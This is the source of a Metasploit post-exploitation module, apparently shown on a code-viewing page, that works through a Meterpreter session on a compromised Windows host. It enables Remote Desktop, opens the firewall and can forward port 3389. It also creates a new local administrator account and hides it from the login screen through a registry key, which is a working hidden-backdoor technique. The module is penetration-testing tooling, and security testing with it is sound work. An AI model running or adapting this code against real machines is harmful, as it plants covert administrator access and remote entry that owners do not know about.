Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/enable_rdp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Accounts7include Msf::Post::Windows::Registry8include Msf::Post::Windows::Services9include Msf::Post::Windows::Priv10include Msf::Post::File1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Manage Enable Remote Desktop',17'Description' => %q{18This module enables the Remote Desktop Service (RDP). It provides the options to create19an account and configure it to be a member of the Local Administrators and20Remote Desktop Users group. It can also forward the target's port 3389/tcp.21},22'License' => BSD_LICENSE,23'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ]26)27)2829register_options(30[31OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),32OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),33OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),34OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),35OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])36]37)38end3940def run41if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])42cleanup_rc = store_loot(43'host.windows.cleanup.enable_rdp',44'text/plain',45session,46'',47'enable_rdp_cleanup.rc',48'enable_rdp cleanup resource file'49)5051if datastore['ENABLE']52if is_admin?53enablerd(cleanup_rc)54enabletssrv(cleanup_rc)55else56print_error('Insufficient privileges, Remote Desktop Service was not modified')57end58end59if datastore['USERNAME'] && datastore['PASSWORD']60if is_admin?61addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)62else63print_error('Insufficient privileges, account was not be created.')64end65end66if datastore['FORWARD']67print_status("Starting the port forwarding at local port #{datastore['LPORT']}")68client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")69end70print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")71end72end7374def enablerd(cleanup_rc)75key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'76value = 'fDenyTSConnections'77begin78v = registry_getvaldata(key, value)79print_status 'Enabling Remote Desktop'80if v == 181print_status "\tRDP is disabled; enabling it ..."82registry_setvaldata(key, value, 0, 'REG_DWORD')83file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")84else85print_status "\tRDP is already enabled"86end87rescue StandardError => e88print_status("The following Error was encountered: #{e.class} #{e}")89end90end9192def enabletssrv(cleanup_rc)93service_name = 'termservice'94srv_info = service_info(service_name)95begin96print_status 'Setting Terminal Services service startup mode'97if srv_info[:starttype] != START_TYPE_AUTO98print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."99unless service_change_config(service_name, starttype: 'START_TYPE_AUTO') == Windows::Error::SUCCESS100print_error("\tUnable to change start type to Auto")101end102file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc config termservice start= disabled"')103if service_start(service_name) == Windows::Error::SUCCESS104print_good("\tRDP Service Started")105end106file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc stop termservice"')107else108print_status "\tTerminal Services service is already set to auto"109end110# Enabling Exception on the Firewall111print_status "\tOpening port in local firewall if necessary"112cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)113file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")114rescue StandardError => e115print_status("The following Error was encountered: #{e.class} #{e}")116end117end118119def addrdpusr(username, password, cleanup_rc)120print_status 'Setting user account for logon'121print_status "\tAdding User: #{username} with Password: #{password}"122begin123if check_user(username)124print_error("\tThe user #{username} already exists")125return126end127128rdu_sid = resolve_sid('S-1-5-32-555')129admin_sid = resolve_sid('S-1-5-32-544')130131if !rdu_sid[:mapped] || !admin_sid[:mapped]132print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]133print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]134print_error("\tNot adding user #{username}")135return136end137138rdu = rdu_sid[:name]139admin = admin_sid[:name]140141user_added = false142result = add_user(username, password)143if result['return'] == 0144user_added = true145elsif check_user(username)146user_added = true147end148149if user_added150file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")151print_status "\tAdding User: #{username} to local group '#{rdu}'"152add_members_localgroup(rdu, username)153154print_status "\tHiding user from Windows Login screen"155hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'156registry_setvaldata(hide_user_key, username, 0, 'REG_DWORD')157file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")158print_status "\tAdding User: #{username} to local group '#{admin}'"159add_members_localgroup(admin, username)160print_status 'You can now login with the created user'161else162print_error('Account could not be created')163print_error('Error:')164addusr_out.each_line do |l|165print_error("\t#{l.chomp}")166end167end168rescue StandardError => e169print_status("The following Error was encountered: #{e.class} #{e}")170end171end172173def check_user(user)174enum_user.include?(user)175end176end177178179